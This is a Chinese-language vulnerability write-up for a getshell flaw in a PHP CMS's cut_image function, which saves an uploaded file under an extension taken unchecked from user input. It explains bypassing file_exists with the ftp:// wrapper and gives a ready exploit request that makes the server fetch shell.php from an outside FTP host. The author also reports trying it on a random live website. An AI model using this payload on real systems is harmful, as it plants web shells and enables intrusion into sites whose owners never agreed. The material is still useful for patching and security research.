发布时间:2016-09-29
公开时间:N/A
漏洞类型:getshell
危害等级:高
漏洞编号:QTVA-2016-540503
测试版本:20160825
漏洞详情
lib/default/tool_act.php 行392
function cut_image_action() {
$len = 1;
if(config::get('base_url') != '/'){
$len = strlen(config::get('base_url'))+1;
}
if(substr($_POST['pic'],0,4) == 'http'){
front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
}else{
front::$post['thumb'] = substr($_POST['pic'],$len);
}
$thumb=new thumb();
$thumb->set(front::$post['thumb'],'jpg');
$img=$thumb->create_image($thumb->im,$_POST['w'],$_POST['h'],0,0,$_POST['x1'],$_POST['y1'],$_POST['x2'] -$_POST['x1'],$_POST['y2'] -$_POST['y1']);
$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
$save_file='upload/images/'.date('Ym').'/'.$new_name;
@mkdir(dirname(ROOT.'/'.$save_file));
ob_start();
$thumb->out_image($img,null,85);
file_put_contents(ROOT.'/'.$save_file,ob_get_contents());
ob_end_clean();
$image_url=config::get('base_url').'/'.$save_file;
//$res['size']=ceil(strlen($img) / 1024);
$res['code']="
//$('#cut_preview').attr('src','$image_url');
$('#thumb').val('$image_url');
alert(lang('save_success'));
";
echo json::encode($res);
}
没有判断pic的后缀就直接取了
$new_name=$new_name_gbk=str_replace('.','',Time::getMicrotime()).'.'.end(explode('.',$_POST['pic']));
做为文件名字 导致getshell
此处的坑是
- 需要过ImageCreateFromxxx、ImageCopyResampled、ImageJpeg 3个函数 任然保留shell语句
- 需要通过file_exists函数的验证
第一个坑就不说怎么绕过的了 各种fuzz就是了
第二个坑
file_exists并不能判断远程http(s)文件是否存在 固定返回false
查阅manual得知
自 PHP 5.0.0 起, 此函数也用于某些 URL 包装器。请参见 支持的协议和封装协议以获得支持 stat() 系列函数功能的包装器列表。
查了下各种封装协议wrappers发现了 ftp:// 支持 stat();
Attribute | PHP4 | PHP5 |
---|---|---|
Supports stat() | No | As of PHP 5.0.0: filesize(), filetype(), file_exists(), is_file(), and is_dir() elements only. |
--- | --- | As of PHP 5.1.0: filemtime(). |
5.0.0以上 就支持file_exists()了
接下来就是根据要求构造payload
$len = 1;
if(config::get('base_url') != '/'){
$len = strlen(config::get('base_url'))+1;
}
if(substr($_POST['pic'],0,4) == 'http'){
front::$post['thumb'] = str_ireplace(config::get('site_url'),'',$_POST['pic']);
}else{
front::$post['thumb'] = substr($_POST['pic'],$len);
}
如果站点不是放在根目录 则需要在payload前面补足 strlen(base_url)+2 位的长度 如果在根目录也要补1位
POST /index.php?case=tool&act=cut_image
pic=111111111ftp://ludas.pw/shell.php&w=228&h=146&x1=0&x2=228&y1=0&y2=146
本地测试截图
互联网随便找了个站
image
网友评论